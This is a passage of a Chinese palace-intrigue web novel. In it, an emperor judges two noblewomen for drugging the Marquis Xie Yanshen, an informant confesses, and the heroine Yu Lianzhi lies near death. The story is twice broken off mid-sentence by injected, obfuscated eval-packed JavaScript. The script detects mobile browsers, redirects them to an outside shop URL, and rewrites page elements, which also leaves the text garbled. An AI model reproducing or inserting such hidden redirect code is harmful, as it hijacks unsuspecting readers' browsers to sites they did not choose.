“此事涉及钟程两府，若有不慎，两府女眷清誉尽毁，故而，臣不敢擅专。昨夜，臣府中之人将殿内两名女眷送回园中，扣下了另外三个下人，尚未提审，随时可以交托，一切均由陛下处置，臣恳请陛下查明真相，还臣一个公道。” 他声音沉而有力，字字恳切，没有任何委屈的语气在，但却让人动容。 况且镇北侯府历代不涉党争，多年来忠君不二，是实打实的帝王臂膀，国之重臣。 可谢砚深班师回朝第一次冬祭就遭人暗算，主使之人将法度宫规视为无物，在行宫中肆意妄为，更是藐视天威。 和此事有关的两名女子，其中一个是曾经和谢砚深定过亲，婚约又废弃了的钟芷兰，动机充分，另一个是钟芷兰的表妹，义远伯幺女程亦仙。 两个都是尚未出阁的女子，女子清誉极为重要，不容有损，事情未查明前绝不能妄下定论，故而谢砚深没有当晚立刻发作，而是等今天才前来密报。 平武帝心中感叹他行事稳当，且有君子之风，也对下手算计他的人更加厌恶，已然动怒。 “钱礼，”平武帝怒声道，“传旨，将钟俦，程协，还有他们那两个好女儿一并提来！” “嗻！”大太监应了一声，立时往殿外而去。 末了，平武帝还不忘问阶下的谢砚深：“谢卿，你……身体如何？” 谢砚深沉默一秒，神色淡淡：“回陛下，臣已经无碍，昨夜……服过药，已然大好了。” 平武帝：“那就好，若是未好全，尽管唤太医。” “谢陛下恩典。” 一盏茶的时辰，禁卫押着钟氏父女与程家父女四人入殿，钱礼领着人进来复命： “启禀陛下，国子祭酒钟俦、其女钟芷兰，义远伯程协、其女程亦仙带到。” 程家父女都是面如死灰，程亦仙更是掩饰不住的害怕，反而一旁的钟府父女还算镇定自若，只是钟芷兰脸色惨白，左肩隐有异样，四人跪地下拜： “臣参见陛下。” “臣女参见陛下” 高座上的帝王没有立刻说话，殿中死寂。 等到阶下四人冷汗浸背后，头顶传来一声冷笑—— “钟卿，程卿，教女有方啊。” “竟然敢在宫中，用这些阴诡伎俩谋害朝廷重臣，目无礼法纲常，合该诛之！” 钟俦没说话，程协则急得眼冒金星，忙开口喊道：“陛下！陛下明鉴啊！小女，小女生性愚笨，懦弱至极，京中人所尽知！昨日之事她是有过错，可绝对是受人诳骗，以她的心智，怎么可能自己想出这样的谋划，还思虑得如此周全！幕后主使定有他人！陛下！请您明鉴！” 他话音落下，跪在一旁的程亦仙听见“诛之”两个字，就已经忍不住痛哭出声，但又不知道如何辩解，果真如生父所言，性情愚弱。 平武帝没有答话，而是冷哼一声，随后又转向另一边的钟俦： “钟俦，义远伯说不是他女儿所为，你认为呢？” 昨晚就两个嫌疑人，一个辩驳不是她干的，相当于在说另一个人是主谋。 钟俦直起身，回话：“启禀陛下，昨夜臣突发急症，今早醒来，只知道女儿无故受了伤，在园子里失踪后又被不知什么人送回来，其余的臣一概不知。既然义远伯已经回过话，臣恳请陛下，不应只听一面之词，也可听小女一言。” “哦？”平武帝挑眉，看向还伏身的钟芷兰，“那你说。” 钟芷兰立起身，数米外，是谢砚深冰冷的眼神，高座有帝王睥睨而下，身旁是哭泣不止的程亦仙和满面怒容的程协，但她却无惧色，抬起头时面带惊忧，口齿却很清晰： “启禀陛下，昨日，臣女父亲突犯呕泄之症，臣女与母亲将父亲扶下去歇息，后来父亲好转，母亲心疼臣女，说由她一人照看父亲即可，遣臣女回大宴游玩，没料想回园子的路上，碰见了程表妹的贴身侍女栗儿，那婢女看见臣女惊慌失措，臣女再三逼问，她才说表妹去更衣，谁知道乱跑走丢了，她弄丢了主子，害怕责罚，不敢回去向义远伯夫人复命，只能在外头着急。” “臣女看她可怜，便说带着两个人一齐和她找，那婢女颇有些不情不愿，磨蹭着找了许多个地方，后来看见南边有个宫殿亮着灯，臣女便过去瞧瞧，谁料是镇北侯在用厢房，臣女和守在厢房外的人说，能否通报一声，谁知道那贴身侍卫万般不肯，臣女觉得不对劲，便坚持着不走，忽而那宫殿里传来的表妹的叫声，侯府的人似乎也很惊讶，但还是不肯立马让开，臣女救妹心切，只能硬闯，幸好臣女带着的人有些功夫，后来房门打开，进去一看才发现——” 说到这，钟芷兰有些欲言又止，而一旁的程亦仙则是脑中一团乱麻扯不开，不可置信。 平武帝眯起眼：“才发现什么？” 钟芷兰：“亦仙表妹正扑在侯爷身上，侯爷想要避开，但表妹却像是发了狂一样不肯撒手，侯爷似乎身体极为不适，竟然没力气挣开她，女儿家清誉何等要紧，臣女立刻上前去要拉开他们，没想到，没想到侯爷有些神志不清，分不出敌我，甩开了表妹，又一掌把我打晕了过去！” “再然后……臣女就什么都不知道了。” 她的话说完，程协的脸色铁青，而程亦仙则是完全不知道发生什么的状态，似乎她这位表姐说的话并无破绽。 谢砚深向座上帝王拱手道：“陛下，臣请求提审当夜的另外几人。” 平武帝点头：“可。” 而后，福明和乔大夫、赵阿京，押着另外一男一女上殿。 福明跪地说道：“请陛下恕罪，昨夜事发突然，侯府马夫救主心切，将欲行不轨的钟府小姐贴身侍女打成了重伤，现下人还在昏迷，不知何时才能醒，不能提上殿来。” 赵阿京连忙叩头，但紧张得只会翻来覆去几句：“请，请陛下恕罪，草民知罪，请陛下恕罪……” 一旁的钟芷兰转过头，看见赵阿京的脸，瞳中猛地缩紧，又很快恢复。 这个马夫…… 平武帝免了他们的礼：“奋身护主乃是忠义之举，何罪之有，起来吧。” “多谢陛下！” 福明往侧面退后两步，指着还跪在地上的假婆子和栗儿：“陛下，这是昨日跟着钟氏女的武师，另一个是程氏女的贴身侍婢。” “昨夜，钟大小姐便是带着这个男扮女装的假婆子，硬闯殿门，还将我等打伤。” 钟芷兰的脸色沉了些，但还算稳得住。 平武帝目中锐光直射阶下钟氏父女：“钟俦，你来解释，为何你府中会有假扮女人的武师时时跟随女眷，还打伤了侯府中人啊？” 钟俦面上表情不动，暗暗咽了咽口水：“……禀陛下，臣府中女眷一直都有武师随行，行宫修建于山林之中，不时有野猫小兽出没，臣担忧家中妻女，只得让武师乔装跟随，确实不合宫中规矩。至于打伤侯府之人……此事，臣真的不清楚。” 那假婆子看着形势，连连磕头：“陛，陛下！草民，草民只是跟着主子行事，什么都不知道啊！那天，屋里表小姐叫了一声，大小姐担心姐妹要进屋，屋门口两人不让，草民怕他们伤着大小姐，才起了冲突动手的！后来侯爷在房里晕倒了，我只是想去扶人，没想到突然被人给打晕了过去，想来，想来侯府的人是误把草民当作凶手了，是误会一场。” 赵阿京顿时大喊：“你放……！你撒谎！我看得真切，是你和那个婢女要干坏事，那个婢女在脱她主子的衣裳！你就要去扒侯爷的衣裳！动手前被我拦住了而已！呸！不要脸！” 他这话着实粗俗，殿中诸人的脸色都有几分不好看，尤其是钟芷兰和钟俦，简直是阴沉至极。 赵阿京把生米煮成熟饭这样的谋算摊在面上讲，相当于把钟芷兰往淫-贱上推。 但更令钟芷兰恼火的是，赵阿京明明是钟府的内线！可现在无论如何他们都不能说认识他，否则就是坐实了串通内鬼算计镇北侯府的罪名。 她不知道赵阿京怎么会突然反水，但是—— 等出了行宫，她一定要把李贤娘那个吃里扒外的贱人捉回来，挫骨扬灰！ 跪在地上瑟瑟发抖的栗儿也认识赵阿京，程亦仙和赵阿京联系都靠她中间传话，她也知道赵阿京其实是钟府的人，但现在她也不能说出来。 ——她的家人捏在钟芷兰手上，钟府的人明确告诉过她，如果有什么变故，一切都往程亦仙头上推，绝对不能扯到钟家。 反正就是一个憋屈。 赵阿京骂完之后，看着钟府的人只瞪着他，但却连话都不愿和他多说的样子，心里竟有一股难言的爽快。 眼线反制了操纵者。 玉姑娘说的没错，钟家就是打死也不敢在陛下和镇北侯面前暴露出他是他们安插进侯府眼线的事，只能装作不认识。 他就是骂得更难听，也不会怎么样。 福明怒不可遏，指着那个假婆子：“胡说八道！分明是你们用了下作的手段，才将我和乔大夫打晕！我随军多年，你不过是一家丁，纵然有几分功夫，也不可能硬闯入门！” 说罢，一旁的乔大夫从怀中拿出一个小小的物件，而后又从袖中拿出一个被油纸层层包裹的东西。 小太监捧着一个托盘走上来，乔大夫将两样东西拆开，一个边角有些脏的苏绣香囊，还有一个小巧的鎏金兽纹铜香炉摆在了盘上。 见到那个香囊和铜炉，程亦仙顿时软在了地上，钟芷兰也险些维持不住表情。 虽然她早已经发现香囊丢了，但真正摆在眼前，还是不免心慌。 乔大夫向帝座一拜：“陛下，这两件物什都是昨夜从程钟两位小姐身旁捡到的，这香炉是宫中之物，造不得假，而这香囊则是钟小姐的贴身之物，若要分辨，还得额外寻钟府的人来。” “至于这香炉和香囊里的东西——乃是上好的催-情药，香炉里的香是底药，而香囊里的香是引子，药力极强，陛下可请太医们前来查验。这香囊被钟小姐带在身上，而香炉则是程小姐在房中使用，两相配合，才让侯爷神志不清，让福明侍卫失去功力。” “陛下！”钟芷兰扬声道，“臣女冤枉啊！” 殿中所有人的目光都被她吸引过去。 “这香囊绝对不是臣女的，臣女平日佩戴的香囊从未有过苏绣的，”她说，“倒是……倒是亦仙表妹，一直都用的苏绣香囊。” 程亦仙瞪大了眼，简直不敢相信自己的耳朵：“你，你，我，我没有……” 钟芷兰哭着朝她说：“亦仙，你的香囊我怎么会不认识！” 说罢，她又转头朝栗儿怒吼：“贱婢！昨夜明明是你带我去找的人！你说话啊！在陛下面前还不说实话！” 钟俦趁热打铁：“说出实情，或许还能饶你全家的命！” 程协眼看情况不对，也开口：“栗儿！你从小跟着亦仙！我们程家待你不薄！你凭着良心说实话！” 平武帝怒意已经浮上面：“说！” 栗儿战战兢兢，最后猛地俯下身，磕头磕得血流满面：“陛下！饶了奴婢吧！饶了奴婢吧！奴婢不是故意要害镇北侯的！都是我家小姐让我做的！我 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程亦仙像是找到了最坚实的靠山，在父亲怀里哭着大叫：“不是我的！不是我的！” “是你！”她手指着栗儿，眼中迸发出不同往常的恨意，此时她已经不管不顾，竟爆发出一股强横的怒气，声嘶力竭， “是你告诉我，如果能攀上侯府，我们家或许就有救了！我就不会去做官妓了！药也是你给我的！是你说你联系上了侯府的人，对，对，你说你买通了侯府的马夫，花了五百两打听到侯爷的踪迹！是你！” 栗儿捂着被撕掉一片的头发，痛哭：“姑娘！分明是您说您看见侯府的车往南边去，大概会停在南边，才要赌一把侯爷会去南边更衣，游园没开始前就提前躲到了南园宫殿里去！您什么时候给过我五百两！您的体己加起来也差不多就这些了！都在房里放着的！夫人那里都有数的！” 说罢，她跪地又朝平武帝磕头：“陛下！奴婢真的没有说谎啊！我家小姐的钱财肯定都还在她房里，您派人去搜一搜就知道了！奴婢真的没有说谎啊！” ——程亦仙的钱交给赵阿京之后，钟府送来同价的银票，让她放回了程亦仙房中箱子最底部。 程亦仙彻底绝望了。 她不明白，事情怎么会变成这样。 她是始作俑者？ 这一切都是她干的？ 不，不是她，不是她！ 那只能是…… “原来，”她的眼泪不停地滑落，死死盯着栗儿，最后吐出几个字—— “你是我表姐的人。” 钟芷兰转过头，佯怒道：“亦仙，你疯了吗！” “哈哈，哈哈哈哈哈哈……”程亦仙笑得比哭难看，只是低声不停地笑。 谢砚深站在一旁，冷眼看着，面无表情，像是看一场狗咬狗的无聊闹剧。 他甚至有些微微出神，像是在想什么事情。 福明和乔大夫则是怒视钟芷兰。 这个女人，颠倒黑白，简直令人发指。 平武帝坐在帝座上，掐了掐眉心：“够了！” 众人瞬间安静下来。 程亦仙渐渐停住笑，站起身，朝前走了几步，今日只是短短半个时辰，她竟然像是性情大变，没有了往日懦弱胆小的样子，发髻在刚刚的厮打中掉落，满面泪痕，但面上是异乎寻常的冰冷。 她慢慢跪在地上，朝座上的平武帝深深叩拜，声音洪亮： “臣女为一己私欲，串通侍女，谋害镇北侯，罪无可恕，无论任何刑罚皆愿领受，但……” 说到这里，她哽咽了一下，才继续：“但家中父母，对此事毫不知情，祖母也已年迈，望陛下只惩罚臣女一人，切莫迁怒臣女家人，即便凌迟腰斩，臣女都心甘情愿！” “请陛下降罪！！” 一字一句仿佛暴雨水滴砸落地表，殿中一片寂静，程协跌坐在后方，呆呆地看着自己的女儿。 而后猛地扑向前，老泪纵横：“陛下！陛下请饶恕不孝女！她胡言乱语，犯了大不敬之罪，陛下请饶恕她吧！臣愿意替她担罪！陛下——” 而高座上的平武帝，则是眼中闪了闪，说不清是什么。 片刻后，开口—— “……传旨，程氏女谋害重臣，其罪当诛，但念其知罪悔过，心存仁孝，着带发出家，入皇寺苦修一年，以此赎罪，义远伯，教女无方，革其官职，思过一年。” 程协、程亦仙对视一眼，喜极而泣：“谢陛下恩典！” 下一秒，高座上帝王的声音再次响起—— “钟氏女，夜闯男子厢房，扰乱宫闱，女德不修，口无遮拦，毫无手足之念，着闭门静修七载，钟俦，教女无方，着降为国子司业，赔付镇北侯府钱一万贯。” “其余人等，按宫规处置。” 钟芷兰瞪大眼，不敢相信自己的耳朵。 闭门七载。 七载！ 她已过了双十年华，再闭门七载，还有什么好儿郎能嫁？！ 更何况还是因为女德不修这样的罪名！ 归家之后，父亲会怎么处置她……? 她猛地抬起头，只看得见帝王冰冷的双眼。 而旁边的钟俦却像是料到了这样的结果，镇定拜道：“臣遵旨，谢陛下隆恩.” 于九五至尊而言，对待下位者，大多是爱之欲其生，恶之欲其死，一切生死判罚只在一念之间。 钟芷兰强行辩解，虽然没有足够的证据能证明她的罪状，平武帝一样可以找其他的由头惩罚她。 程亦仙与程协的父女之情将他打动，他也能网开一面。 钟俦浸淫朝堂多年，深刻明白这一点，从他知道被谋害的人是镇北侯开始，他就已经料到这个结果。 镇北侯偏向谁是罪魁祸首，平武帝就会更怀疑谁，即使今天钟芷兰舌灿莲花，也没有用。 纵然她已经最大程度上把事情推到了程亦仙头上，依旧死罪可免，活罪难逃。 为了安抚镇北侯，两个出现在案发地的女子都会被罚，只是轻重与罪名的不同。 一个是不可或缺的股肱之臣，一个是不得圣心的大臣之女，谁轻谁重，一目了然。 只不过，平武帝约莫还是念着未登基时故去老太师的扶持之情，最终，把主谋的罪名安在了程府的头上。 至于昨晚的真相究竟是什么，此时也不大重要了。 如果平武帝真的是要查真相，此刻他们应该等着被大理寺查问，而不是直接由皇帝本人决断。 谢砚深上前行礼：“陛下圣裁，臣感激不尽。” 35. 急病 行仁斋。 陈妈妈端着药进屋，服侍高大夫人服下，等她净了口，才说道：“夫人，侯爷允准，玉姑娘现下已经出了行宫，到族庄里养病了。” 谢文嫣坐在旁边，听见她谈到玉怜脂，连忙问：“嬷嬷你去看过玉姐姐了吗？她怎么样了？” 昨晚她从大宴回来，原本兴奋得睡不着觉，想着今天可以和玉怜脂一同去泡汤泉，没想到，一大早就传来玉怜脂急病的消息。 是而她今日精神颇有些低迷。 陈妈妈答道：“不大好，我离远些瞧着，玉姑娘是被贴身侍候的婆子抱上车的。” ——说明她已经没有自主行动的力气了。 谢文嫣一听，立马急了，唰地站起身：“什么？！” “那，那怎么办？大夫瞧过了也不行吗？” 此时，靠在贵妃榻上的高大夫人发话了：“嫣儿。” 她斜睨谢文嫣一眼，语气淡淡：“你玉姐姐那边有医师照料，你急什么？没点礼仪规矩，成何体统。坐下。” “母亲！”谢文嫣看着丝毫没有关切意思的母亲，顿时有种说不上来的感觉，“玉姐姐病了呀……” 高大夫人：“你玉姐姐身体不好，病痛是常有的事，着人悉心调理就是，何须大惊小怪。” “可是……” “没什么可是的。”高大夫人撑着侧额，手上捧着一卷书，“明日就要开始为祭祀大典斋戒了，趁着今日还有空闲，你和霖儿去行宫其他地方游玩吧，记得多带上些人，好不容易来一回，莫要浪费了。” “我乏了，你去吧。” 谢文嫣张了张口，又不知道说什么，最后只能低声道：“……是。” 陈妈妈送她出房门，走出去之前，谢文嫣回头看了一眼榻上专心看书的枯瘦女人。 为什么她觉得……最近母亲越发奇怪了？ 对她和哥哥都有些冷淡。 对玉姐姐，就更加了。 到底怎么回事…… ———— 解决了钟芷兰和程亦仙的事，出升平殿后，章四柱已经在驾车在远处等候。 回到蹈义台，一行人径直往临时的书房处去。 入了房门，男人正坐于紫檀椅上，福明从茶房的下人手上接过热茶端上。 茶房的人快步退下，赵阿京站在书房中央，冷汗直流，大门闭合后，猛地一下，重重跪在地上。 “侯爷恕罪！”他伏在地上，战战兢兢。 谢砚深垂眸浅饮一口清茶，没有说话。 福明冷眼看着地上的马夫，面上有掩饰不住的嫌恶。 他最瞧不起背主之人，更何况是差点陷谢砚深于万劫不复的赵阿京。 房中陷入一片让人不安的寂静。 赵阿京跪伏在地上，眼珠不自觉地颤动，咽了咽口水。 他紧张到了极点，脑中慢慢浮现一张充满笑意的脸，少女的声音动听又冰凉—— “连着两次你负责车驾的时候侯爷的行踪被泄露给外人，而且主院只有你不是老人，你背主的事是瞒不住的，到时候该怎么说罪责最轻，你自己好好掂量，也别让侯爷起什么不该有的疑心。” “李贤娘那里，我可是时时派人盯着，还给她安排了最好的保胎药，你可要知恩图报啊。” 赵阿京直起身，对上座的男人磕了三个响头，才说道：“……是，是我财迷心窍，收了钱财，出卖了侯爷您的行迹，才让您遭了暗算……我，我不是人！我不是人！” 说着，他抬起手，狠狠往脸上抽着巴掌，很快嘴角破裂流血。 谢砚深面色平静，把茶盏搁在桌上。 福明看了一眼他的神色，随后转回头，上前一步：“行了！我且问你。上回在云山观，也是你向钟府的人泄露的消息吧？” 赵阿京涕泪横流：“是，是。” “你为何要为钟府做事，里应外合，做奸细陷害侯爷？！” “不，不！”赵阿京连忙摆手，“我，我收银子的时候不知道送银子来的婢女是谁家的！去云山观前两月，还是三月，横竖是刚入秋不久的时候，我经常负责带主院的管事出门采买……就那几回，有个外府的婢女找上门，只说如果侯府有外出的事情，让我通报一声，不必详细说侯爷行踪，只消告诉他们侯府什么时候出游就行，若是我肯行个方便，她们可以先给定金一百两，事成再给一百两。” “我想着，侯府出游，都带着许多人手，不会有什么大事，应当只是哪府小姐倾慕侯爷，才……后来……我就，我就做了……” 福明怒声：“那昨日大宴又是怎么回事！” 赵阿京抽着声，哽咽道：“那日云山观，我透露了消息，但是回来之后，也没见发生什么，我就，我就以为事情过去了，没什么大不了的。谁知道后来进了，进了行宫，又遇到了那个来找我的婢女。” 福明：“所以，和之前一样，又是来找你买侯爷的行踪？” “是，”赵阿京抹了把脸，面如土色，“她说，这次多给我一百两，还是和之前一样，只要我肯告诉他们，侯府的马车停在哪边，我就能，拿到三百两银钱。” “那之后呢？”福明瞪着他，“别说你拿走衣服，后边又跑回来是巧合。” 赵阿京点头：“是，我没走，一直等在外边。” “为什么？” “因为，因为这次她们给的钱多了太多，我觉得有些不对劲，后来知道侯爷真来了南边，还是进厢房，我就慌了，害怕出什么事，就……”赵阿京抖如筛糠， “直到昨日在厢房里，我看见了那个婢女，才知道给我钱的人是，钟府小姐……” 福明：“程府小姐在殿上说她的婢女栗儿花了五百两和侯府马夫买行踪又是怎么回事?” 钟芷兰设计程亦仙背罪，最关键的一环，是程亦仙一定要从赵阿京这里得到谢砚深的行踪，可钟芷兰怎么保证这一点? 要么，赵阿京一早就知道钟芷兰的谋划，是奸细，但这又说不通他为什么要专程破坏钟芷兰的事。 要么…… 赵阿京看上去颇有些不知所措，慌忙摇头：“侯爷，这，这我真的不知道啊……我从来没见过那个程小姐的丫鬟！给我钱财的是被我打伤的那个婢女，那日我进去的时候看见她抱着钟府小姐，我才知道她是钟府的人！我不认识什么栗儿，我也不晓得程家小姐为什么也会知道您的行踪啊！” 说罢，他竖起三根手指：“侯爷您千万别信那个丫鬟的鬼话！我，我敢用我老娘和祖宗发誓，要害您的人是钟家小姐，否则，否则就让我爹娘泉下不安，我赵家断子绝孙！” 后头这句话可真是天地良心，他真没撒谎。 谢砚深压下眼，手中缓慢转着虎骨扳指。 在殿上发生的一切他都看在眼里，程亦仙是如何绝望崩溃的，那个叫栗儿的婢女又是如何一反常态，身为奴仆，却字字句句把错处往旧主身上推的。 那晚的主谋一定是钟芷兰无疑，栗儿是钟府放在程亦仙身边的眼线这件事也很明显。 赵阿京既已认罪，没道理又特意为程家小姐遮掩什么，还敢拿老娘发誓指证钟芷兰，他说的是实话可能性更高一些。 而程亦仙说的也未必是谎话，只是被钟府的奸细栗儿巧言诓骗了。 是有人花五百两买了他的行踪，但买的人不是栗儿，而是钟府的婢女，后者又将消息透露给栗儿，里应外合，引程亦仙去做钟芷兰的替罪羊。 这甚至还能解释，为什么程亦仙说她花了五百两，栗儿却说程亦仙的钱没少，还有胆子让人去查验，极有可能她拿到五百两便放回了程亦仙房里，同时又确确实实带回了消息，因为消息原本就是钟府的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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按照往日情形，大典之后，皇帝还会在真皇山行宫盘桓一段时间，算是外出巡游，并不急着回宫，官员及其家眷，若无宫中旨意要求伴驾，第二日的章程结束后必须即刻离开，不得停留。 是以第二日晚上，高大夫人便带着谢文嫣、谢文霖启程回京了。 回去之前，谢文嫣还特地问了，能不能转道去族庄看一眼玉怜脂的情况。 但被高大夫人否决了。 谢砚深派了身边的一个亲信跟着她们，但显然不是为了护送，只说要一齐赶路，尽快回侯府向老太君报平安。 高大夫人虽然常年病着，脑子还是灵活的，大宴那晚谢砚深提前离席，显然是出了什么事。 但在这府里，很多东西，她没兴趣知道，更不会去过问。 第三日，皇室清晨登山祭天，一直到傍晚，入夜后方才休养。 祭典章程结束之后，行宫会安排许多宴饮游乐之事，但皇帝每日还是要批折子的，与近日要紧的政务有关的官员们都留了下来。 是夜，福明一路疾跑进了蹈义台书房。 谢砚深已经沐浴更衣，身上着一件绸袍，披着外衫，屋里的地龙烧得很暖，手中是一卷竹简。 他抬起头，发尾还有些濡湿，眉心皱起：“出了什么事？” “侯爷，不好了！”福明急道，“族庄那边来人了，说玉姑娘那日急病去族庄之后，到今日也一直不见好，半个时辰前，病情急转直下，玉姑娘吐了好几回血，人眼看着就要不行了！” 男人瞳中紧缩，猛地站起身，大踏步就往外走：“备马！” 福明手快，把书房门旁的兽绒披风拿起，跟着在他身后，为他披上，口中还在说话：“来的人说，那边的医师已经束手无策，求侯爷把乔大夫派过去，兴许人还有救！” “你骑马，亲自带着乔诚！” “是！” 36. 濒死 院子里一片混乱，下人们端着热水和干净的衣巾进进出出，水盆里要么已经空了，要么飘着血色，廊下搬来了许多小灶，柴火的亮光照在烧水熬药的婆子们脸上。 族庄的管事们站在门外，俱是脸色凝重，背着手来回踱步，时不时凑在一起低声私语。 房中那位玉姑娘虽然不是侯府正经小姐，但是从行宫那边过来的时候，侯爷身边的贴身侍从亲自跟着，专门叮嘱庄里的人，必须好生照料着，一点差池都不能有，衣食用药之类都要最好的，若有怠慢，绝不轻饶。 可见侯府有多重视。 但是现在的情况…… 玉氏小姐从今日晨起就有些不适，用过早膳便开始咳血，吓了他们一大跳，连忙把库里最好的药都拿出来，但也于事无补。 她胸口疼痛，血一直止不住，一开始量很少，用手帕子就能接住，到了夜里，又吐了三回，回回让人心惊。 庄子里的几名大夫医术有限，比不上玉氏跟来的那位段姓女医，也不大了解玉氏小姐往日的身体状况，故而只能打下手，几人在房中一守就是大半天。 直到几盏茶前，那个姓段的女医跑出房门，脸色极差，声音也很嘶哑，让他们速速去行宫请侯爷身边医术最精湛的大夫来。 那神情看起来恨不得自己长出翅膀飞过去。 而跟着出来的几个族庄大夫，也都是面色沉沉，垂着头长吁短叹。 管事们心里咯噔一跳，顿时明白情况已经到了凶险万分的地步，立刻让庄上最了解路况的几个壮丁带着腰牌，骑上庄里最好的马赶去行宫。 但愿能及时请到侯爷身边的乔大夫，把人给救回来，否则人要是真没了，主子们雷霆大怒，他们也难免要脱层皮。 廊中一片愁云惨雾，忽地院外隐隐传来密集的马蹄踏雪之声，很快变成控马的响动，紧接着是院门外家丁护卫们惊呼的声音—— “侯爷！” “参见侯爷！” …… 站在廊下的管事们俱是一惊，不约而同对视一眼，连忙齐齐快步朝外走，还没到二院门，迎面撞上了奔袭入庄的一行人。 为首的男人身上落满霜雪，未曾束冠，墨发散下，发尾正好垂落在肩上，呼吸还有些沉，他身后数人无不气喘吁吁。 按照往日来回的时辰来算，他们从深夜从行宫外一路纵马走覆雪山道回族庄，竟比白日壮丁从族庄去行宫的用时还整整少了快一半，足以看出赶来的时候有多匆忙。 这样的速度下，但凡马儿足下打滑，抑或驭马之人马术稍有不精，定会有所损伤，再严重一些，人马俱亡也不是不可能。 族庄的大管事正欲行礼，被谢砚深一抬手拦住，开口便问：“人现在怎么样了？大夫怎么说？” 说着，脚步一刻不停，朝房门处走，后头的福明拖着在疾驰快马上颠得去了半条命的乔大夫，赶快跟了上去。 大管事不敢有片刻耽误，急忙说：“禀侯爷，玉姑娘咳血止不住，我们问过了里头出来的医师，说是玉姑娘原本就有从娘胎里带出来的心疾，不能受太大刺激，但这几日玉姑娘似是心中有什么过不去的郁结，从那日来庄里就起不来身了，喝药也不顶用，每天只能清醒两三回，每次约莫个把时辰，好一些时有人扶着还能走动走动，但大多数时候没有力气，只在房里翻些书看，人也越来越没精神，到今日身体彻底撑不住了，就……” 说到最后，几人正好停在房门外。 门开着，婢女们捧着新的药和干净的热水进出。 谢砚深站定不动，廊柱上高高悬挂的灯笼洒下来暖光，折反出的阴影吞没他的眉眼。 福明和乔大夫小跑着跟了上来，都还在大喘气，见他在房门外站着不动，他们也不敢自作主张：“侯，侯爷？” “你带乔诚进去。”谢砚深说道，“问清楚情况再出来回我。” “是！”福明应了一声，拉着乔大夫就往里走，忍不住快速回头看了一眼主子。 侯爷怎么不一起……？ 家丁们搬来了大椅，谢砚深沉默坐下，管事们站在一旁，屏息静默着。 男人垂着眼，手中不自觉又转动大拇指上的扳指，他心绪不平时一贯如此。 郁结于心么…… 那想必，她此时最不愿，也最不能见他。 约莫过了两盏茶，乔大夫先一步出来了，袖口上还有点点血迹，脸上的表情也不大好。 谢砚深眯起眼：“怎么样？人救回来了吗？” 乔诚拱手躬身道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991727|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“禀侯爷，下官医术不精，玉姑娘身体太过孱弱，玉氏下人们说，前些日子姑娘犯过一次心疾，再加上前两天好似受了大刺激，如今本里虚透，是而平日药性温和的汤药毫无作用，越补越虚，气血更加亏损。我与伺候玉姑娘的那位女医商讨过，眼下已经扎针护住了玉姑娘经脉内腑，又通其几处大穴，激发气力，若是能撑过今晚不再吐血，便可无虞——” 说到最后一句，他有些欲言又止。 “若是撑不过呢？”男人接过他的话，声音阴沉到极致。 乔大夫：“那，那便回天乏术了……” 话音落下，他清晰地听到耳边传入一声令人泛起鸡皮疙瘩的响动，像是什么东西被挤压扭曲。 乔诚小心抬起眼，眼前木椅的扶手竟然生生被座上的人捏出了裂痕。 气氛霎时降入冰点。 这时，屋里一道人影冲了出来，打破了死寂。 “侯爷！”福明单膝跪地，咽了咽口水，才说，“玉姑娘知道您来了，她说……她想见您。” 谢砚深下颌绷紧一瞬，站起身，快步进了房内。 他向寝房深处去，此时房里的端着洗漱更换东西的婢女们正退出来，见到他，都慌忙问安，而后片刻不敢停留，走到里间用来隔断的八扇屏风处，一直跟着玉怜脂的白服女医还有关嬷嬷从床榻的地方转出屏风外。 两人同样规矩地给他行礼，但他看得清楚，两人的眼神里对他有难以掩饰的怨意。 谢砚深移开眼，没有说话，继续往里走。 走入屏风里，不远处响起房门阖上的声音。 他抬手，掀开最后一层落地纱幔，几步外，少女躺在床上，她已经被服侍着清理干净了，只穿着一件雪白绸衣，盖着厚被，微阖着眼，气息极弱，像是快要沉沉睡去。 屋中血腥气与苦药味似有若无，挥之不去。 谢砚深站定，只是看着她，却没有再往前走一步。 或许是听到了他的脚步声，玉怜脂有些费力地偏过头，缓慢眨着眼，好一会儿，才像是认出了他。 但她的眼中竟不是怨恨，也没有恐惧悲伤，反而轻笑着叫他：“你……你来了。” “……嗯。”应了一声，他终于抬步走到她的床前。 37. 衷肠 在床头旁边，婢女们提前放好了一张黑木凳，谢砚深靠近后，犹豫了一瞬，床上的少女眼神紧随他，沉默着。 但他知道她的意思，瞥了一眼那张独凳，坐了下来。 这时他们的距离很近，他能听见她似有若无的呼吸，他偏过头，对上她的双眼，眼中是轻柔如水的笑意。 被子动了动，一只细瘦的手臂费力地伸出来，有些颤抖，似乎是想要触碰他。 大抵是因为气血亏尽，她的声音也低弱：“……扶我起来，好么……？” 从那一夜后，她再也不叫他深叔了。 男人面上的表情很复杂，眼中的情绪说不清道不明，眉心紧蹙。 但他还是立刻握住了她的手，另一只手臂从她肩背下穿过，只是稍稍使力，就把她从床上扶起。 原本他想抽手去为她拿靠枕，但在动作的时候，左手被握紧。 玉怜脂抬眼看着他，她面无血色，呼吸也不平稳，用尽力气也只能堪堪虚握住他的手，不肯放开。 她又不说话，可偏偏他总是能知道她想要做什么。 男人扶压在少女肩背上的那只手紧了紧，最后移身坐到了床榻边缘，让她靠在自己的肩上。 此时此刻，他想他不会拒绝她任何要求。 原是他对不住她。 光影映在窗纸上，仿若一对爱侣，亲密无间，共话夜雨。 然而少女压抑的低咳把房中脆如薄纸的温馨假象轻易戳破。 